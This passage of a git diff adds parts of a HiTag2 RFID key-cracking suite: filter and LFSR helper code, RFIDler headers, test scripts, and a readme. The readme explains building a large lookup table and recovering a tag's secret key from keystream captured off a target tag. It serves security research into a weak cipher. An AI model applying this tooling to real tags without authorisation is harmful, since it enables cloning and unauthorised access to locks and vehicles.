(bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.h b/tools/hitag2crack/crack2/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack2/readme.md b/tools/hitag2crack/crack2/readme.md new file mode 100644 index 000000000..dd0872260 --- /dev/null +++ b/tools/hitag2crack/crack2/readme.md @@ -0,0 +1,68 @@ +ht2crack2 suite + + + +Build +----- + +Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values. +These are important if you want it to run quickly. Ideally set DATAMAX to the largest value +that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of +virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >= +NUM_SORT_THREADS. + +Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10. + +The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines. + +make clean +make + + +Run ht2crack2buildtable +----------------------- + +Make sure you are in a directory on a disk with at least 1.5TB of space. +./ht2crack2buildtable + +Wait a very long time. Maybe a few days. + +This will create a directory tree called table/ while it is working that will contain +files that will slowly build up in size to approx 20MB each. Once it has finished making +these unsorted files, it will sort them into the directory tree sorted/ and remove the +original files. It will then exit and you'll have your shiny table. + + +Test with ht2crack2gentests +--------------------------- + +./ht2crack2gentests NUMBER_OF_TESTS + +to generate NUMBER_OF_TESTS test files. These will all be named +keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE + +Test a single test with +./runtest.sh KEYSTREAMFILE + +or manually with +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + +or run all tests with +./runalltests.sh + +Feel free to edit the shell scripts to find your tools. You might want to create a +symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the +table. + +If the tests work, then the table is sound. + + +Search for key in real keystream +-------------------------------- + +Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had +to supply an NR value and you should know the tag's UID (you can get this using the RFIDler). + +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + + diff --git a/tools/hitag2crack/crack2/rfidler.h b/tools/hitag2crack/crack2/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack2/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack2/runalltests.sh b/tools/hitag2crack/crack2/runalltests.sh new file mode 100755 index 000000000..945873cfb --- /dev/null +++ b/tools/hitag2crack/crack2/runalltests.sh @@ -0,0 +1,3 @@ +for i in keystream*; do +./runtest.sh $i +done diff --git a/tools/hitag2crack/crack2/runtest.sh b/tools/hitag2crack/crack2/runtest.sh new file mode 100755 index 000000000..bcc08727c --- /dev/null +++ b/tools/hitag2crack/crack2/runtest.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +if [ "$1" == "" ]; then +echo "runtest.sh testfile" +echo "testfile name should be of the form:" +echo "keystream.key-KEY.uid-UID.nR-NR" +exit 1 +fi + +filename=$1 + +UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1` +NR=`echo $1 | cut -d'-' -f4` +KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1` + +echo "********************" +echo "FILENAME = $filename" +echo "UID = $UIDV" +echo "NR = $NR" +echo "Expected KEY = $KEYV" + +./ht2crack2search $filename $UIDV $NR +echo "Expected KEY = $KEYV" +echo "********************" +echo "" diff --git a/tools/hitag2crack/crack2/util.h b/tools/hitag2crack/crack2/util.h new file mode 100644 index 000000000..c0d4c156a --- /dev/null +++ b/tools/hitag2crack/crack2/util.h @@ -0,0 +1,206 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC) +#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags +#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files) + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +BYTE approx(unsigned long number, unsigned long target, unsigned char percentage); +unsigned int bcdtouint(BYTE *bcd, BYTE length); +unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length); +void inttobinarray(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits); +void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits); +void inttobinstring(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits); +BOOL ulongtohex(BYTE *target, unsigned long source); +unsigned int binarraytoint(BYTE *bin, BYTE length); +unsigned long long binarraytolonglong(BYTE *bin, BYTE length); +unsigned long binarraytoulong(BYTE *bin, BYTE length); +BYTE hextobyte(BYTE *hex); +void printhexreadable(BYTE *hex, BYTE maxlength); +unsigned long hextoulong(BYTE *hex); +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hextoulonglong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); +char hextolonglong(unsigned long long *out, unsigned char *hex); +unsigned int hextobinarray(unsigned char *target, unsigned char *source); +unsigned int hextobinstring(unsigned char *target, unsigned char *source); +unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length); +void hexprintbinarray(BYTE *bin, unsigned int length); +unsigned int binstringtohex(unsigned char *target, unsigned char *source); +unsigned int binstringtobinarray(BYTE *target, BYTE *source); +void binstringtobyte(BYTE *target, unsigned char *source, BYTE length); +void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length); +void printhexasbin(unsigned char *hex); +void printbinashex(unsigned char *bin); +void invertbinarray(BYTE *target, BYTE *source, unsigned int length); +void invertbinstring(BYTE *target, BYTE *source); +void printbinarray(unsigned char *bin, unsigned int length); +unsigned char getbit(unsigned char byte, unsigned char bit); +void bytestohex(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length); +char * strip_newline(char *buff); +BOOL command_ack(BOOL data); +BOOL command_nack(BYTE *reason); +BOOL command_unknown(void); +void ToUpper(char *string); +void string_reverse(unsigned char *string, unsigned int length); +BOOL string_byteswap(unsigned char *string, unsigned int length); +BYTE parity(unsigned char *string, BYTE type, unsigned int length); +unsigned long get_reader_pulse(unsigned int timeout_us); +unsigned long get_reader_gap(unsigned int timeout_us); +unsigned int crc_ccitt(BYTE *data, unsigned int length); +unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask); +void space_indent(BYTE count); +void xml_version(void); +void xml_header(BYTE *item, BYTE *indent); +void xml_footer(BYTE *item, BYTE *indent, BOOL newline); +void xml_indented_text(BYTE *data, BYTE indent); +void xml_item_text(BYTE *item, BYTE *data, BYTE *indent); +void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent); +void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent); +void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent); + diff --git a/tools/hitag2crack/crack2/utilpart.c b/tools/hitag2crack/crack2/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack2/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no 